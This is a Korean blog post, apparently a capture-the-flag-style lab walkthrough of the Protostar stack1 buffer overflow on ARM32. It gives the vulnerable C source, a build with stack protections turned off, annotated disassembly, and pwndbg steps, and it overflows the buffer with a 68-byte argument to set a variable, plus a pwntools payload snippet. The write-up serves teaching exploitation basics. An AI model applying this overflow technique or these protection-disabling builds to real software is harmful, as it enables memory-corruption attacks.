ARM Exploitation

ARM32 Exploit Exercies - Protostar_stack1

지난번 글에 이어 이번에는 stack1이다. 


1. 소스코드

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    if (argc == 1)
    {
        errx(1, "please specify an argument\n");
    }

    modified = 0;
    strcpy(buffer, argv[1]);

    if (modified == 0x61626364)
    {
        printf("you have correctly got the variable to the right value\n");
    }
    else
    {
        printf("Try again, you got 0x%08x\n", modified);
    }
}

참고로 원본 소스코드를 컴파일할 시 일부 경고 메시지가 나와서, err.h 등 일부 헤더 파일을 추가로 선언해주었다.

stack1은 사실상 stack0과 거의 유사하다. 다만 차이점은 gets() 함수 대신 argv를 통해 사용자의 입력을 받는다는 것만 다르다. 입력된 값은 strcpy() 함수를 통해 복사되어 buffer에 저장되는데 이 함수 역시 gets()와 유사한 취약점을 가지고 있다.


2. Compile(Raspberry pi / arm)

$ gcc -o stack1 -fno-stack-protector -z execstack -z norelro -no-pie stack1.c

raspberry pi 3에서 32 bit linux os 가 설치된 환경을 기준으로 위와 같이 컴파일한다. 이때 사용된 옵션을 간략히 설명하면 아래와 같다.

  • -fno-stack-protector : 스택이 넘치는 것을 방지하기 위한 보안 메커니즘. 설정을 해제한다.
  • -z execstack : 스택의 내용을 실행할 수 없도록 한 일명 nx. 설정을 해제한다.
  • -z norelro : relro 설정을 해제한다.
  • -no-pie : pie 설정을 해제한다.

현대의 linux 환경은 그 자체로 진화를 거듭하며 일부 보안 메커니즘을 default 로 탑재하기 시작했다. 하지만 이 예제에서는 의도적으로 취약한 프로그램을 만들어야 실습을 할 수 있으므로 보안 메커니즘을 적용하지 않은 채로 컴파일하는 것이다.

 

3. 실행

$ ./stack1
stack1: please specify an argument

$ ./stack1 abcde
Try again, you got 0x00000000

컴파일 된 바이너리를 그냥 실행하면, argument를 지정해달라고 한다. 커맨드 라인 입력으로 바이너리와 함께 argv를 하나 지정하면 된다. 이때 사용자가 입력한 결과가 프로그램의 의도에 부합하지 않으면 Try again 메시지를 띄우고 종료된다. 참고할 수 있도록 목표하는 값이 16진수로 몇으로 설정되어 있는지를 함께 보여준다.


4. 디스어셈블 분석

소스코드가 주어진 환경이므로 사실상 프로그램 구조는 다 파악이 가능한 상황이나, CTF나 Real-world Bug hunting 상황에서는 소스코드를 기대할 수 없으므로, 바이너리에서 디스어셈블하는 연습이 필요하다. 보통은 objdump를 사용하거나, gdb를 통해 disass 를 수행하면 된다.

여기에서는 radare2라는 도구를 통해 보다 개선된 방식으로 main 함수의 내용을 디스어셈블해보았다.

코드는 stack0과 거의 유사하다. 약간씩 나누어서 이해해보자.

1) 함수 프롤로그

함수 프롤로그는 프로그램의 기존 상태를 저장하고, 함수 내에서 사용할 지역 변수들을 위한 공간을 스택에 마련하는 과정이다.

0x00010478      00482de9       push {fp, lr}
0x0001047c      04b08de2       add fp, sp, 4
0x00010480      50d04de2       sub sp, sp, 0x50

fp(Frame Pointer, R11 레지스터)  와 lr(Link Reginster, R14 레지스터) 를 스택에 저장한다. 그리고 스택 프레임의 바닥을 설정한다. 이후 sp를 조절하여 스택으로 사용할 공간을 확보한다.

2) main 함수 body

이어지는 프로그램의 동작을 살펴보자. 대체적으로 단순한 구조를 이룬다.

0x00010484      50000be5       str r0, [var_50h]           ; 0x50 ; 80 ; argc
0x00010488      54100be5       str r1, [var_54h]           ; 0x54 ; 84 ; argv
0x0001048c      50301be5       ldr r3, [var_50h]           ; 0x50 ; 80
0x00010490      010053e3       cmp r3, 1                   ; 1
0x00010494      0200001a       bne 0x104a4
0x00010498      64109fe5       ldr r1, [str.please_specify_an_argument] ; [0x10504:4]=0x10584 str.please_specify_an_argument
0x0001049c      0100a0e3       mov r0, 1
0x000104a0      b2ffffeb       bl sym.imp.errx             ; void errx(int eval)
0x000104a4      0030a0e3       mov r3, 0

위의 두 코드는 각각 r0과 r1에 argc 와 argv 를 설정한다. 아무런 argv를 입력하지 않은 상태로 실행한 후 디버거를 통해 확인해보면 r0에는 1이 할당되고, r1에는 '/home/pi/arm_exploitation/stack/stack1/stack1' 이 할당되어 있다. 이 경우 argc == 1 조건이 발생하여 오류 메시지가 출력되고 종료된다.

하나의 arg를 추가한 후 다시 실행해보면 r0에 2가 할당되어 진행이 될 것이다.

0x000104a8      08300be5       str r3, [var_8h]            ; 8
0x000104ac      54301be5       ldr r3, [var_54h]           ; 0x54 ; 84
0x000104b0      043083e2       add r3, r3, 4
0x000104b4      002093e5       ldr r2, [r3]
0x000104b8      48304be2       sub r3, fp, 0x48
0x000104bc      0210a0e1       mov r1, r2
0x000104c0      0300a0e1       mov r0, r3
0x000104c4      9dffffeb       bl sym.imp.strcpy           ; char *strcpy(char *dest, const char *src)

이어지는 코드는 argv[1] 의 내용을 buffer 영역으로 복사하는 strcpy()함수를 위한 준비 동작이다. 

0x000104c8      08301be5       ldr r3, [var_8h]            ; 8
0x000104cc      34209fe5       ldr r2, [0x00010508]        ; [0x10508:4]=0x61626364
0x000104d0      020053e1       cmp r3, r2
0x000104d4      0200001a       bne 0x104e4
0x000104d8      2c009fe5       ldr r0, [str.you_have_correctly_got_the_variable_to_the_right_value] ; [0x1050c:4]=0x105a0 str.you_have_correctly_got_the_variable_to_the_right_value
0x000104dc      9affffeb       bl sym.imp.puts             ; int puts(const char *s)
0x000104e0      030000ea       b 0x104f4
0x000104e4      08301be5       ldr r3, [var_8h]            ; 8
0x000104e8      0310a0e1       mov r1, r3
0x000104ec      1c009fe5       ldr r0, [str.Try_again__you_got_0x_08x] ; [0x10510:4]=0x105d8 str.Try_again__you_got_0x_08x
0x000104f0      8fffffeb       bl sym.imp.printf           ; int printf(const char *format)

이후 cmp 비교를 통해 r3 레지스터에 저장된 값이 0x61626364와 같은지 확인한다. 그 결과가 참인지 거짓인지에 따라 조건 분기가 발생하며 각각 다른 내용의 문자열을 puts로 출력한다. 성공하면 "you have correctly got the variable to the right value\n"가 표출되고, 틀리면 "Try again, you got 0x%08x\n"이 나온다. 이때 풀이의 편의를 위해 modified 변수에 저장되어 있는 값이 무엇인지를 힌트로 보여준다.

3) 함수 에필로그

0x000104f4      0030a0e3       mov r3, 0
0x000104f8      0300a0e1       mov r0, r3
0x000104fc      04d04be2       sub sp, fp, 4
0x00010500      0088bde8       pop {fp, pc}

함수 에필로그는 프로그램의 상태를 해당 함수로 진입하기 이전으로 되돌려놓는 과정이다.  사용했던 레지스터를 다시 초기화한다. 그리고 이때 스택 포인터 역시 원상 복구되어야 한다. stack pointer 를 조절할 때에는 frame pointer를 기준으로 add 또는 sub 등으로 맞출 수 있다. 이후 pop 명령을 통해 스택에 저장해두었던 값을 가져와서 해당 레지스터에 할당한다.


5. 문제 풀이


이 문제의 경우 앞서 stack0와 거의 동일한 풀이이기 때문에 자세한 설명은 stack0 설명 글을 먼저 참고하기 바란다.

다만, stack1 문제에서 달라진 점은 modified 값을 구체적인 값으로 특정해서 정확하게 맞추어야 한다는 것이다. 이를 그림으로 그려보면 아래와 같다.


사용자가 argv로 전달한 값은 0x7efff43c 주소부터 시작해서 Buffer에 복사되기 시작하는데, 그 크기가 64까지인지를 체크하지 않는다(strcpy 함수의 취약점). 그렇다면 64를 넘어서게 되면 그 뒤에 있던 modified 변수의 공간을 침범하게 된다. 

그렇다면 stack overflow 를 수행하여 modified 값을 0x61626364로 변조해보자.

먼저 임의의 내용을 가진 길이 68의 문자열을 생성해보자. pwndbg에서 제공하는 cyclic 을 사용하면 편리하다.

$ cyclic 68
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa

cyclic 결과물을 복사해두고 디버거를 통해 대상 프로그램을 실행한다. gdb의 확장 버전인 pwndbg를 이용했다.

$ gdb -q ./stack1
pwndbg> disass main
Dump of assembler code for function main:
   0x00010478 <+0>:    push    {r11, lr}
   0x0001047c <+4>:    add    r11, sp, #4
   0x00010480 <+8>:    sub    sp, sp, #80    ; 0x50
   0x00010484 <+12>:    str    r0, [r11, #-80]    ; 0xffffffb0
   0x00010488 <+16>:    str    r1, [r11, #-84]    ; 0xffffffac
   0x0001048c <+20>:    ldr    r3, [r11, #-80]    ; 0xffffffb0
   0x00010490 <+24>:    cmp    r3, #1
   0x00010494 <+28>:    bne    0x104a4 <main+44>
   0x00010498 <+32>:    ldr    r1, [pc, #100]    ; 0x10504 <main+140>
   0x0001049c <+36>:    mov    r0, #1
   0x000104a0 <+40>:    bl    0x10370 <errx@plt>
   0x000104a4 <+44>:    mov    r3, #0
   0x000104a8 <+48>:    str    r3, [r11, #-8]
   0x000104ac <+52>:    ldr    r3, [r11, #-84]    ; 0xffffffac
   0x000104b0 <+56>:    add    r3, r3, #4
   0x000104b4 <+60>:    ldr    r2, [r3]
   0x000104b8 <+64>:    sub    r3, r11, #72    ; 0x48
   0x000104bc <+68>:    mov    r1, r2
   0x000104c0 <+72>:    mov    r0, r3
   0x000104c4 <+76>:    bl    0x10340 <strcpy@plt>
   0x000104c8 <+80>:    ldr    r3, [r11, #-8]
   0x000104cc <+84>:    ldr    r2, [pc, #52]    ; 0x10508 <main+144>
   0x000104d0 <+88>:    cmp    r3, r2
   0x000104d4 <+92>:    bne    0x104e4 <main+108>
   0x000104d8 <+96>:    ldr    r0, [pc, #44]    ; 0x1050c <main+148>
   0x000104dc <+100>:    bl    0x1034c <puts@plt>
   0x000104e0 <+104>:    b    0x104f4 <main+124>
   0x000104e4 <+108>:    ldr    r3, [r11, #-8]
   0x000104e8 <+112>:    mov    r1, r3
   0x000104ec <+116>:    ldr    r0, [pc, #28]    ; 0x10510 <main+152>
   0x000104f0 <+120>:    bl    0x10334 <printf@plt>
   0x000104f4 <+124>:    mov    r3, #0
   0x000104f8 <+128>:    mov    r0, r3
   0x000104fc <+132>:    sub    sp, r11, #4
   0x00010500 <+136>:    pop    {r11, pc}
   0x00010504 <+140>:    andeq    r0, r1, r4, lsl #11
   0x00010508 <+144>:    cmnvs    r2, r4, ror #6
   0x0001050c <+148>:    andeq    r0, r1, r0, lsr #11
   0x00010510 <+152>:    ldrdeq    r0, [r1], -r8
End of assembler dump.
pwndbg> b * 0x000104d0
Breakpoint 1 at 0x104d0
pwndbg> r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa

r3레지스터의 값을 확인하는 구문이 존재하는 0x000104d0 위치에 break point 를 에 설정한 후 프로그램을 실행한다. 그리고 입력값으로 cyclic 68의 내용을 argv로 넣는다. 실행이 진행되다가 break point를 만나면 pwndbg가 아래와 같이 스택 및 레지스터 내용들을 보여준다.

스택 내용만 더 자세히 확인해보자.

pwndbg> stack 20
00:0000│ sp      0x7efff2e0 —▸ 0x7efff484 —▸ 0x7efff5e5 ◂— '/home/pi/arm_exploitation/stack/stack1/stack1'
01:0004│         0x7efff2e4 ◂— 0x2
02:0008│         0x7efff2e8 ◂— 0x0
03:000c│ r0 r12  0x7efff2ec ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
04:0010│         0x7efff2f0 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
05:0014│         0x7efff2f4 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
06:0018│         0x7efff2f8 ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
07:001c│         0x7efff2fc ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
08:0020│         0x7efff300 ◂— 'faaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
09:0024│         0x7efff304 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
0a:0028│         0x7efff308 ◂— 'haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
0b:002c│         0x7efff30c ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaa'
0c:0030│         0x7efff310 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaa'
0d:0034│         0x7efff314 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaa'
0e:0038│         0x7efff318 ◂— 'laaamaaanaaaoaaapaaaqaaa'
0f:003c│         0x7efff31c ◂— 'maaanaaaoaaapaaaqaaa'
10:0040│         0x7efff320 ◂— 'naaaoaaapaaaqaaa'
11:0044│         0x7efff324 ◂— 'oaaapaaaqaaa'
12:0048│         0x7efff328 ◂— 'paaaqaaa'
13:004c│         0x7efff32c ◂— 'qaaa'

buffer의 실제 주소는 0x7efff2ec 부터 시작되지만 편의를 위해 000c로 보여주고 있다. 000c 부터 입력되기 시작한 값들은 길이 64를 채우게 되면 004c, 즉 0x7efff32c 전까지 들어가게 된다(간격의 차이인 16진수 0x40이 곧 10진수 64이다). 그리고  만약 64보다 더 긴 내용이 입력되어 modified가 차지하고 있는 영역을 침범했다. 0x7efff32c 위치에는 qaaa 값이 바로 modified 에 할당되었을 것이다.

pwndbg> x 0x7efff32c
0x7efff32c:    0x61616171

값을 확인해보면 0x61616171 인데,  0x61은 소문자 a이고 0x71은 q이므로 qaaa를 리틀 엔디언으로 거꾸로 주입된 것이다. 그렇다면 문제에서 요구한 0x61626364 는 abcd 가 아닌 dcba를 입력해야 맞을 것이다.

결과를 종합하면 임의의 64길이의 내용으로 buffer를 채우고, 그 뒤에 dcba라는 값을 입력해보자.

$ (python -c "print('A'*64+'dcba')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

pwndbg로 확인하거나, 직접 바이너리에 실행해봐도 좋다.

$ gdb -q ./stack1
pwndbg> b * 0x000104d0
Breakpoint 1 at 0x104d0
pwndbg> r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
Starting program: /home/pi/arm_exploitation/stack/stack1/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

(생략)

pwndbg> i r r2
r2             0x61626364          1633837924
pwndbg> i r r3
r3             0x61626364          1633837924

pwndbg> c
Continuing.
you have correctly got the variable to the right value
[Inferior 1 (process 10493) exited normally]
$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

이 문제의 경우 디버거만으로 값을 입력하여 바로 해결 할수 있지만, 향후 다른 exploit 개발을 연습하는 차원에서 pwntools 를 이용한 payload 전송도 만들어보자. stack0코드에서 payload 부분만 아래와 같이 바꾸면 될 것이다.

# Creating Payload
g = cyclic_gen()
payload = g.get(64)
payload += p32(0x61626364)

다만 stack0 문제는 접속 후 입력을 gets()로 받는 방식이었으나, stack1은 바이너리 자체에 argv를 걸어주는 것이어서 pwntools remote가 안된다. raspberry pi에서 직접 process로 하는 것은 되겠지만 pi는 32bit 환경이므로 pwntools 지원이 제한적인 데다가 나는 python2 코드를 혼용하고 싶지 않다. 본 문제의 이해 및 풀이에 있어 별로 중요한 부분은 아닌 환경설정 문제이므로 이 부분은 패스하기로 한다.


6. 결론

우선 이번 stack1문제는 단순히 buffer 배열을 너머 modified 변수에 특정한 값을 의도적으로 할당할 수 있음을 보았다. 그렇다면 그 뒤에 저장되어 있는 기존 FP 및 LR의 값을 변조하는 것도 가능하며 이는 곧 Program Counter 를 조작하여 Return Address 를 바꿔버리는 것으로 이어질 수 있다. 이러한 상황은 이어질 stack2 ~ stack7 문제를 통해 하나씩 살펴볼 예정이다.


Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.